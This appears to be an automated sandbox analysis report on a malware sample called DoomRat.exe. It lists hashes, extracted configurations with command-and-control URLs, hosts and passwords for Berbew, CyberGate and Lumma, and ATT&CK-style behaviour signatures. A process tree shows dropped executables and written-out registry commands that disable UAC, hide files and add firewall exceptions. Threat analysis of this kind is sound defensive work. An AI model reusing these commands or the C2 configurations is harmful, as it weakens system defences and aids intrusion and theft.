Analysis
-
max time kernel
120s -
max time network
115s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
20-09-2024 07:03
General
-
Target
DoomRat.exe
-
Size
12.1MB
-
MD5
0cf5c5253e621e56587ead9ccf6fc23c
-
SHA1
0f3d67f82bf309ac7ac3df68a78be948c12a0cad
-
SHA256
2c6b6b7588405b536d24bad92d809fc1a71c389c93154b3571463dd0d8774404
-
SHA512
6fcf003361c4e53eea1ff32304ad765e76d92e613d94515008e3dc291008fcd76809008f1436dbe202bbebf762286551b001e534c6626ba0dc9062758a0c8ed9
-
SSDEEP
393216:tGV2CSQhZ2YsHFUK2Jn1+TtIiFQS2NXNsI8VbTToP:0YQZ2YwUlJn1QtIm28IKzo
Malware Config
Extracted
berbew
http://crutop.nu/index.php
http://crutop.ru/index.php
http://mazafaka.ru/index.php
http://color-bank.ru/index.php
http://asechka.ru/index.php
http://trojan.ru/index.php
http://fuck.ru/index.php
http://goldensand.ru/index.php
http://filesearch.ru/index.php
http://devx.nm.ru/index.php
http://ros-neftbank.ru/index.php
http://lovingod.host.sk/index.php
http://www.redline.ru/index.php
http://cvv.ru/index.php
http://hackers.lv/index.php
http://fethard.biz/index.php
http://ldark.nm.ru/index.htm
http://gaz-prom.ru/index.htm
http://promo.ru/index.htm
http://potleaf.chat.ru/index.htm
Extracted
cybergate
2.6
vítima
than.no-ip.org:81
***MUTEX***
-
enable_keylogger
true
-
enable_message_box
false
-
ftp_directory
./logs/
-
ftp_interval
30
-
injected_process
explorer.exe
-
install_dir
install
-
install_file
Svchost.exe
-
install_flag
true
-
keylogger_enable_ftp
false
-
message_box_caption
texto da mensagem
-
message_box_title
título da mensagem
-
password
abcd1234
-
regkey_hkcu
HKCU
-
regkey_hklm
HKLM
Extracted
cybergate
2.6
Server
souhilo05.no-ip.info:17000
***MUTEX***
-
enable_keylogger
true
-
enable_message_box
false
-
ftp_directory
./logs/
-
ftp_interval
30
-
injected_process
explorer.exe
-
install_dir
spynet
-
install_file
server.exe
-
install_flag
true
-
keylogger_enable_ftp
false
-
message_box_caption
texto da mensagem
-
message_box_title
título da mensagem
-
password
jks34
-
regkey_hkcu
HKCU
Extracted
lumma
https://talktaitoovee.shop/api
Signatures
-
Adds autorun key to be loaded by Explorer.exe on startup 2 TTPs 64 IoCs
-
Berbew
Berbew is a backdoor written in C++.
-
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
-
CyberGate, Rebhip
CyberGate is a lightweight remote administration tool with a wide array of functionalities.
-
Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
-
Detect Blackmoon payload 11 IoCs
-
Detects MyDoom family 1 IoCs
-
Disables service(s) 3 TTPs
-
Gh0st RAT payload 1 IoCs
-
Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
-
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modifies WinLogon for persistence 2 TTPs 6 IoCs
-
Modifies firewall policy service 3 TTPs 23 IoCs
-
Modifies visibility of file extensions in Explorer 2 TTPs 18 IoCs
-
Modifies visiblity of hidden/system files in Explorer 2 TTPs 7 IoCs
-
MyDoom
MyDoom is a Worm that is written in C++.
-
Pony,Fareit
Pony is a Remote Access Trojan application that steals information.
-
UAC bypass 3 TTPs 5 IoCs
-
Windows security bypass 2 TTPs 24 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
-
ModiLoader Second Stage 1 IoCs
-
Adds policy Run key to start application 2 TTPs 17 IoCs
-
Boot or Logon Autostart Execution: Active Setup 2 TTPs 9 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Powershell Invoke Web Request.
-
Disables RegEdit via registry modification 6 IoCs
-
Disables Task Manager via registry modification
-
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
-
Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
-
Stops running service(s) 4 TTPs
-
Checks BIOS information in registry 2 TTPs 11 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 64 IoCs
-
Identifies Wine through registry keys 2 TTPs 5 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 64 IoCs
-
Modifies system executable filetype association 2 TTPs 4 IoCs
-
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 40 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Uses the VBS compiler for execution 1 TTPs
-
Windows security modification 2 TTPs 28 IoCs
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
-
Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
-
Adds Run key to start application 2 TTPs 39 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 4 IoCs
-
Enumerates connected drives 3 TTPs 59 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Modifies WinLogon 2 TTPs 6 IoCs
-
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
-
Drops autorun.inf file 1 TTPs 1 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
-
Drops file in System32 directory 64 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
-
Suspicious use of SetThreadContext 18 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 64 IoCs
-
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 14 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
-
Checks processor information in registry 2 TTPs 17 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 4 IoCs
-
Modifies Control Panel 4 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 10 IoCs
-
NTFS ADS 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: LoadsDriver 64 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 9 IoCs
-
Suspicious use of SendNotifyMessage 3 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 38 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"C:\Users\Admin\AppData\Local\Temp\DoomRat.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N.exeC:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\WwgsIwAk\Lyoswsow.exe"C:\Users\Admin\WwgsIwAk\Lyoswsow.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\ProgramData\lyMEIIQc\ssQsgsMs.exe"C:\ProgramData\lyMEIIQc\ssQsgsMs.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N"5⤵
-
C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N.exeC:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 17⤵
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 27⤵
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f7⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qmoQooYs.bat" "C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N.exe""7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 15⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 25⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f5⤵
- UAC bypass
- Modifies registry key
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KQskokQM.bat" "C:\Users\Admin\Downloads\240920-hrm7gavajjc4826c9f70993ccd192b0f66c30a1f37f579f88efa3b3c9ff719ddae69b07a10N.exe""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\SysWOW64\cscript.execscript C:\Users\Admin\AppData\Local\Temp/file.vbs6⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Downloads\240920-hs6efavanrd2b848403040cf5e2d00a49d9fcc8042168d8baf1d9048bb433543c0d66e6672N.exeC:\Users\Admin\Downloads\240920-hs6efavanrd2b848403040cf5e2d00a49d9fcc8042168d8baf1d9048bb433543c0d66e6672N.exe4⤵
- Modifies firewall policy service
- UAC bypass
- Windows security bypass
- Disables RegEdit via registry modification
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exe5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exe6⤵
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe7⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"7⤵
-
-
C:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-hrkrcatfkged0ff0c00243090e8c01925b36b4a4f1_JaffaCakes118.exe"7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hl6fvstdmged0d393f33ecfa2e18a3581babfe7cd7_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hl6fvstdmged0d393f33ecfa2e18a3581babfe7cd7_JaffaCakes118.exe4⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Executes dropped EXE
- Adds Run key to start application
- Modifies WinLogon
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Downloads\240920-hpt71atemf8c45a02de58214150c8cc6c3b39ebacd98b416d1d3e5a9480395a95bc1579d8dN.exeC:\Users\Admin\Downloads\240920-hpt71atemf8c45a02de58214150c8cc6c3b39ebacd98b416d1d3e5a9480395a95bc1579d8dN.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Jfgdkd32.exeC:\Windows\system32\Jfgdkd32.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Keonap32.exeC:\Windows\system32\Keonap32.exe6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Kbekqdjh.exeC:\Windows\system32\Kbekqdjh.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Lpneegel.exeC:\Windows\system32\Lpneegel.exe8⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Lihfcm32.exeC:\Windows\system32\Lihfcm32.exe9⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
C:\Windows\SysWOW64\Mpieqeko.exeC:\Windows\system32\Mpieqeko.exe10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Ajeadd32.exeC:\Windows\system32\Ajeadd32.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hmgh5atgpl36333f6c6d2b41421e821407f91f5fdb796c190497ebcd55682cf293a395fc2aN.exeC:\Users\Admin\Downloads\240920-hmgh5atgpl36333f6c6d2b41421e821407f91f5fdb796c190497ebcd55682cf293a395fc2aN.exe4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Kfqgab32.exeC:\Windows\system32\Kfqgab32.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Lemkcnaa.exeC:\Windows\system32\Lemkcnaa.exe6⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Mfaqhp32.exeC:\Windows\system32\Mfaqhp32.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Mbjnbqhp.exeC:\Windows\system32\Mbjnbqhp.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hlmczstdkfe0a5e3727cd2739c6dc0cb9f96456724aee7eb10f262a5d1a4825e04d4e2db45N.exeC:\Users\Admin\Downloads\240920-hlmczstdkfe0a5e3727cd2739c6dc0cb9f96456724aee7eb10f262a5d1a4825e04d4e2db45N.exe4⤵
- Executes dropped EXE
- Modifies registry class
-
-
C:\Users\Admin\Downloads\240920-hejcratbjced07ee99969101e95ede917084b4950a_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hejcratbjced07ee99969101e95ede917084b4950a_JaffaCakes118.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 4445⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-hselqatfmfed106b8c0a34affd74f3886b74bc3477_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hselqatfmfed106b8c0a34affd74f3886b74bc3477_JaffaCakes118.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f6⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f7⤵
- Modifies firewall policy service
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\svchost.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe:*:Enabled:Windows Messanger" /f6⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\svchost.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe:*:Enabled:Windows Messanger" /f7⤵
- Modifies firewall policy service
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f7⤵
- Modifies firewall policy service
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Local\Temp\i4i.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\i4i.exe:*:Enabled:Windows Messanger" /f6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\SysWOW64\reg.exeREG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Local\Temp\i4i.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\i4i.exe:*:Enabled:Windows Messanger" /f7⤵
- Modifies firewall policy service
- Modifies registry key
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exe5⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe6⤵
- Modifies registry class
-
-
C:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-hdrmqstdpned07694e1a1a53afd39ad4cc3f4a5252_JaffaCakes118.exe"6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-hr3bdstfmad0e08a199289c3c4668f9f893fe63fe6d120b242a0031285f77b7904de35e859N.exeC:\Users\Admin\Downloads\240920-hr3bdstfmad0e08a199289c3c4668f9f893fe63fe6d120b242a0031285f77b7904de35e859N.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Bfqkddfd.exeC:\Windows\system32\Bfqkddfd.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bjcmebie.exeC:\Windows\system32\Bjcmebie.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Cfcqpa32.exeC:\Windows\system32\Cfcqpa32.exe7⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Dcogje32.exeC:\Windows\system32\Dcogje32.exe8⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Edmclccp.exeC:\Windows\system32\Edmclccp.exe9⤵
-
C:\Windows\SysWOW64\Fhofmq32.exeC:\Windows\system32\Fhofmq32.exe10⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Fdkpma32.exeC:\Windows\system32\Fdkpma32.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hajpbckl.exeC:\Windows\system32\Hajpbckl.exe12⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Hgnoki32.exeC:\Windows\system32\Hgnoki32.exe13⤵
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hsh9xatfmh91d241ab7ea2dd9bfeaa0f5f00c5dab2e9125c34ebdf6d9e916f1185faba1474N.exeC:\Users\Admin\Downloads\240920-hsh9xatfmh91d241ab7ea2dd9bfeaa0f5f00c5dab2e9125c34ebdf6d9e916f1185faba1474N.exe4⤵
- Modifies visiblity of hidden/system files in Explorer
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\peanain.exe"C:\Users\Admin\peanain.exe"5⤵
- Modifies visiblity of hidden/system files in Explorer
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Downloads\240920-g4sgaashrp835866bd1d592338e7b977a3e09cf88bb798999808f5ac6f5b52162218b5df65N.exeC:\Users\Admin\Downloads\240920-g4sgaashrp835866bd1d592338e7b977a3e09cf88bb798999808f5ac6f5b52162218b5df65N.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\240920-hd48tstdqm6f8cb5f7e08275964142e0ee875b631ce807727888a4340083cb1cac7cec19b9N.exeC:\Users\Admin\Downloads\240920-hd48tstdqm6f8cb5f7e08275964142e0ee875b631ce807727888a4340083cb1cac7cec19b9N.exe4⤵
- Modifies visibility of file extensions in Explorer
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\backup.exe\backup.exe \5⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\PerfLogs\backup.exeC:\PerfLogs\backup.exe C:\PerfLogs\6⤵
- Modifies visibility of file extensions in Explorer
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Program Files\backup.exe"C:\Program Files\backup.exe" C:\Program Files\6⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Program Files\7-Zip\backup.exe"C:\Program Files\7-Zip\backup.exe" C:\Program Files\7-Zip\7⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Program Files\7-Zip\Lang\backup.exe"C:\Program Files\7-Zip\Lang\backup.exe" C:\Program Files\7-Zip\Lang\8⤵
- Modifies visibility of file extensions in Explorer
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
-
C:\Program Files\Common Files\backup.exe"C:\Program Files\Common Files\backup.exe" C:\Program Files\Common Files\7⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Program Files\Common Files\DESIGNER\backup.exe"C:\Program Files\Common Files\DESIGNER\backup.exe" C:\Program Files\Common Files\DESIGNER\8⤵
- Modifies visibility of file extensions in Explorer
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Program Files\Common Files\microsoft shared\backup.exe"C:\Program Files\Common Files\microsoft shared\backup.exe" C:\Program Files\Common Files\microsoft shared\8⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- System policy modification
-
